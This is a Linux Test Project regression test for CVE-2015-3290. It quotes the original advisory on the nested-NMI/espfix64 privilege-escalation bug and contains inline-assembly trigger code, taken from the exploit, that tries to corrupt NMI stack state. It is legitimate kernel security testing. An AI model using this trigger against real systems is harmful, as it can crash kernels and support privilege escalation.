path: root/testcases/cve/cve-2015-3290.c

// SPDX-License-Identifier: GPL-2.0-or-later
/*
 * Copyright (c) 2017 Pavel Boldin <pboldin@cloudlinux.com>
 * Copyright (c) 2018-2022 Linux Test Project
 */

/*

NOTE: rather than checking for full nested NMI exploitation we simply check
that the NMI stack state can be corrupted with this code.

http://www.openwall.com/lists/oss-security/2015/08/04/8

> +++++ CVE-2015-3290 +++++
>
> High impact NMI bug on x86_64 systems 3.13 and newer, embargoed.  Also fixed
by:
>
> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a
>
> The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290.
>
> You can mitigate CVE-2015-3290 by blocking modify_ldt or
> perf_event_open using seccomp.  A fully-functional, portable, reliable
> exploit is privately available and will be published in a week or two.
> *Patch your systems*

And here's a real advisory:

If an NMI returns via espfix64 and is interrupted during espfix64 setup
by another NMI, the return state is corrupt.  This is exploitable for
reliable privilege escalation on any Linux x86_64 system in which
untrusted code can arrange for espfix64 to be invoked and for NMIs to be
nested.

Glossing over a lot of details, the basic structure of Linux' nested NMI
handling is:

nmi_handler:
    if (in_nmi) {
	nmi_latched = true;
	return;
    }
    in_nmi = true;
    handle the nmi;
    atomically (this is magic):
	if (nmi_latched) {
	    nmi_latched = false;
	    start over;
	} else {
	    in_nmi = false;
	    return and unmask NMIs;
	}

Alas, on x86_64, there is no reasonable way to block NMIs to run the
atomic part of that pseudocode atomically.  Instead, the entire atomic
piece is implemented by the single instruction IRET.

But x86_64 is more broken than just that.  The IRET instruction does not
restore register state correctly [1] when returning to a 16-bit stack
segment.  x86_64 has a complicated workaround called espfix64.  If
espfix64 is invoked on return, a well-behaved IRET is emulated by a
complicated scheme that involves manually switching stacks.  During the
stack switch, there is a window of approximately 19 instructions between
the start of espfix64's access to the original stack and when espfix64
is done with the original stack.  If a nested NMI occurs during this
window, then the atomic part of the basic nested NMI algorithm is
observably non-atomic.

Depending on exactly where in this window the nested NMI hits, the
results vary.  Most nested NMIs will corrupt the return context and
crash the calling process.  Some are harmless except that the nested NMI
gets ignored.  There is a two-instruction window in which the return
context ends up with user-controlled RIP and CS set to __KERNEL_CS.

A careful exploit (attached) can recover from all the crashy failures
and can regenerate a valid *privileged* state if a nested NMI occurs
during the two-instruction window.  This exploit appears to work
reasonably quickly across a fairly wide range of Linux versions.

If you have SMEP, this exploit is likely to panic the system.  Writing
a usable exploit against a SMEP system would be considerably more
challenging, but it's surely possible.

Measures like UDEREF are unlikely to help, because this bug is outside
any region that can be protected using paging or segmentation tricks.
However, recent grsecurity kernels seem to forcibly disable espfix64, so
they're not vulnerable in the first place.

A couple of notes:

  - This exploit's payload just prints the text "CPL0".  The exploit
    will keep going after printing CPL0 so you can enjoy seeing the
    frequency with which it wins.  Interested parties could easily
    write different payloads.  I doubt that any existing exploit
    mitigation techniques would be useful against this type of
    attack.

  - If you are using a kernel older than v4.1, a 64-bit build of the
    exploit will trigger a signal handling bug and crash.  Defenders
    should not rejoice, because the exploit works fine when build
    as a 32-bit binary or (so I'm told) as an x32 binary.

  - This is the first exploit I've ever written that contains genuine
    hexadecimal code.  The more assembly-minded among you can have
    fun figuring out why :)

[1] By "correctly", I mean that the register state ends up different
from that which was saved in the stack frame, not that the
implementation doesn't match the spec in the microcode author's minds.
The spec is simply broken (differently on AMD and Intel hardware,
perhaps unsurprisingly.)

--Andy
*/

#include "config.h"
#include "tst_test.h"
#include "tst_timer.h"

#if defined(__x86_64__) || defined(__i386__)

#include <stdlib.h>
#include <stdio.h>
#include <inttypes.h>
#include <asm/ldt.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/wait.h>
#include <linux/perf_event.h>

#include "lapi/syscalls.h"
#include "tst_safe_pthread.h"

/* Abstractions for some 32-bit vs 64-bit differences. */
#ifdef __x86_64__
# define REG_IP REG_RIP
# define REG_SP REG_RSP
# define REG_AX REG_RAX

struct selectors {
	unsigned short cs, gs, fs, ss;
};

LTP_ATTRIBUTE_UNUSED
static unsigned short *ssptr(ucontext_t *ctx)
{
	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
	return &sels->ss;
}

LTP_ATTRIBUTE_UNUSED
static unsigned short *csptr(ucontext_t *ctx)
{
	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
	return &sels->cs;
}
#else
# define REG_IP  REG_EIP
# define REG_SP  REG_ESP
# define REG_AX  REG_EAX
# define REG_CR2 (REG_SS + 3)

LTP_ATTRIBUTE_UNUSED
static greg_t *ssptr(ucontext_t *ctx)
{
	return &ctx->uc_mcontext.gregs[REG_SS];
}

LTP_ATTRIBUTE_UNUSED
static greg_t *csptr(ucontext_t *ctx)
{
	return &ctx->uc_mcontext.gregs[REG_CS];
}
#endif

static volatile long expected_rsp;
static int running = 1;

static void set_ldt(void)
{
	/* Boring 16-bit data segment. */
	const struct user_desc data_desc = {
		.entry_number    = 0,
		.base_addr       = 0,
		.limit	   = 0xfffff,
		.seg_32bit       = 0,
		.contents	= 0, /* Data, expand-up */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 0,
		.useable	 = 0
	};

	TEST((int)tst_syscall(__NR_modify_ldt, 1, &data_desc,
		sizeof(data_desc)));
	if (TST_RET == -EINVAL) {
		tst_brk(TCONF | TRERRNO,
			"modify_ldt: 16-bit data segments are probably disabled");
	} else if (TST_RET != 0) {
		tst_brk(TBROK | TRERRNO, "modify_ldt");
	}
}

static void try_corrupt_stack(unsigned short orig_ss)
{
#ifdef __x86_64__
	asm volatile (
	      /* A small puzzle for the curious reader. */
	      "mov    $2048, %%rbp    \n\t"

	      /* Save rsp for diagnostics */
	      "mov    %%rsp, %[expected_rsp] \n\t"

	      /*
	       * Let 'er rip.
	       */
	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
	      "movl   $1000, %%edx    \n\t"
	      "1:  decl   %%edx       \n\t"
	      "jnz    1b      \n\t"
	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */

	      /* Did we enter CPL0? */
	      "mov    %%cs, %%dx  \n\t"
	      "testw  $3, %%dx    \n\t"
	      "jnz    2f      \n\t"
	      "leaq   3f(%%rip), %%rcx  \n\t"
	      "movl   $0x200, %%r11d  \n\t"
	      "sysretq	\n\t"
	      "2:	     \n\t"

	      /*
	       * Stop further corruption.  We need to check CPL
	       * first because we need RPL == CPL.
	       */
	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */

	      "subq   $128, %%rsp \n\t"
	      "pushfq	 \n\t"
	      "testl  $(1<<9),(%%rsp)   \n\t"
	      "addq   $136, %%rsp \n\t"
	      "jz 3f      \n\t"
	      "cmpl   %[ss], %%eax    \n\t"
	      "je 4f      \n\t"
	      "3:  int3	   \n\t"
	      "4:	     \n\t"
	      : [expected_rsp] "=m" (expected_rsp)
	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
		 : "rax", "rcx", "rdx", "rbp", "r11", "flags"
	);
#else
	asm volatile (
	      /* A small puzzle for the curious reader. */
	      "mov    %%ebp, %%esi    \n\t"
	      "mov    $2048, %%ebp    \n\t"

	      /* Save rsp for diagnostics */
	      "mov    %%esp, %[expected_rsp] \n\t"

	      /*
	       * Let 'er rip.
	       */
	      "mov    %[ss], %%ss \n\t"   /* begin corruption */
	      "movl   $1000, %%edx    \n\t"
	      "1:  .byte 0xff, 0xca   \n\t"   /* decl %edx */
	      "jnz    1b      \n\t"
	      "mov    %%ss, %%eax \n\t"   /* grab SS to display */

	      /* Did we enter CPL0? */
	      "mov    %%cs, %%dx  \n\t"
	      "testw  $3, %%dx    \n\t"
	      "jnz    2f      \n\t"
	      ".code64	\n\t"
	      "leaq   3f(%%rip), %%rcx \n\t"
	      "movl   $0x200, %%r11d  \n\t"
	      "sysretl	\n\t"
	      ".code32	\n\t"
	      "2:	     \n\t"

	      /*
	       * Stop further corruption.  We need to check CPL
	       * first because we need RPL == CPL.
	       */
	      "mov    %[orig_ss], %%ss \n\t"  /* end corruption */

	      "pushf	  \n\t"
	      "testl  $(1<<9),(%%esp)   \n\t"
	      "addl   $4, %%esp   \n\t"
	      "jz 3f      \n\t"
	      "cmpl   %[ss], %%eax    \n\t"
	      "je 4f      \n\t"
	      "3:  int3	   \n\t"
	      "4:  mov %%esi, %%ebp   \n\t"
	      : [expected_rsp] "=m" (expected_rsp)
	      : [ss] "r" (0x7), [orig_ss] "m" (orig_ss)
		 : "eax", "ecx", "edx", "esi", "flags"
	);
#endif
}

static int perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
			   int cpu, int group_fd, unsigned long flags)
{
	int ret;

	ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu,
			  group_fd, flags);
	return ret;
}

static int event_mlock_kb;
static int max_sample_rate;

static void *child_thread(void *arg LTP_ATTRIBUTE_UNUSED)
{
	long niter = 0;
	unsigned short orig_ss;

	struct perf_event_attr pe = {
		.size = sizeof(struct perf_event_attr),
		.disabled = 0,
		.exclude_kernel = 0,
		.exclude_hv = 0,
		.freq = 1,
		.sample_type = PERF_SAMPLE_IP|PERF_SAMPLE_TID|
			PERF_SAMPLE_TIME|PERF_SAMPLE_CALLCHAIN|
			PERF_SAMPLE_ID|PERF_SAMPLE_PERIOD,
	};
	/* Workaround bug in GCC 4.4.7 (CentOS6) */
	pe.sample_freq = max_sample_rate / 5;

	struct {
		uint32_t type;
		uint64_t config;
		const char *name;
	} perf_events[] = {
		{
			.type = PERF_TYPE_HARDWARE,
			.config = PERF_COUNT_HW_INSTRUCTIONS,
			.name = "hw instructions",
		},
		{
			.type = PERF_TYPE_HARDWARE,
			.config = PERF_COUNT_HW_CACHE_REFERENCES,
			.name = "hw cache references",
		},
	};

	void *perf_mmaps[ARRAY_SIZE(perf_events)];
	unsigned int i;

	for (i = 0; i < ARRAY_SIZE(perf_events); i++) {
		int fd;

		pe.type = perf_events[i].type;
		pe.config = perf_events[i].config;

		fd = perf_event_open(&pe, 0, -1, -1, 0);
		if (fd == -1) {
			if (errno == EINVAL || errno == ENOENT ||
			    errno == EBUSY)
				tst_brk(TCONF | TERRNO,
					"no hardware counters");
			else
				tst_brk(TBROK | TERRNO, "perf_event_open");
			/* tst_brk exits */
		}

		perf_mmaps[i] = SAFE_MMAP(NULL, event_mlock_kb * 1024,
					  PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
		SAFE_CLOSE(fd);
	}

	asm volatile ("mov %%ss, %0" : "=rm" (orig_ss));

	for (niter = 0; running && niter < 1000*1000*1000L; niter++) {

		try_corrupt_stack(orig_ss);

		/*
		 * If we ended up with IF == 0, there's no easy way to fix
		 * it.  Instead, make frequent syscalls to avoid hanging
		 * the system.
		 */
		syscall(0x3fffffff);
	}

	for (i = 0; i < ARRAY_SIZE(perf_events); i++)
		if (perf_mmaps[i] != MAP_FAILED)
			SAFE_MUNMAP(perf_mmaps[i], 512 * 1024);

	return (void *)niter;
}

static void do_child(void)
{
	int i, ncpus;
	pthread_t *threads;
	long iter, total_iter = 0;

	tst_res(TINFO, "attempting to corrupt nested NMI stack state");

	set_ldt();

	ncpus = tst_ncpus();
	threads = SAFE_MALLOC(sizeof(*threads) * ncpus);

	for (i = 0; i < ncpus; i++)
		SAFE_PTHREAD_CREATE(&threads[i], NULL, child_thread, NULL);

	sleep(tst_remaining_runtime());
	running = 0;

	for (i = 0; i < ncpus; i++) {
		SAFE_PTHREAD_JOIN(threads[i], (void **)&iter);
		total_iter += iter;
	}
	free(threads);

	tst_res(TPASS, "can't corrupt nested NMI state after %ld iterations",
		total_iter);
}

static void setup(void)
{
        /*
         * According to perf_event_open's manpage, the official way of
         * knowing if perf_event_open() support is enabled is checking for
         * the existence of the file /proc/sys/kernel/perf_event_paranoid.
         */
	if (access("/proc/sys/kernel/perf_event_paranoid", F_OK) == -1)
		tst_brk(TCONF, "Kernel doesn't have perf_event support");

	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_mlock_kb",
			"%d", &event_mlock_kb);
	SAFE_FILE_SCANF("/proc/sys/kernel/perf_event_max_sample_rate",
			"%d", &max_sample_rate);
}

static void run(void)
{
	pid_t pid;
	int status;


	pid = SAFE_FORK();
	if (pid == 0) {
		do_child();
		return;
	}

	SAFE_WAITPID(pid, &status, 0);
	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
		tst_res(TFAIL, "corrupted NMI stack");
	else if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
		tst_res(WEXITSTATUS(status), "Propogate child status");
}

static struct tst_test test = {
	.forks_child = 1,
	.needs_root = 1,
	.needs_checkpoints = 1,
	.setup = setup,
	.max_runtime = 180,
	.test_all = run,
	.tags = (const struct tst_tag[]) {
		{"linux-git", "9b6e6a8334d5"},
		{"CVE", "2015-3290"},
		{}
	}
};

#else /* defined(__x86_64__) || defined(__i386__) */

TST_TEST_TCONF("not (i386 or x86_64)");

#endif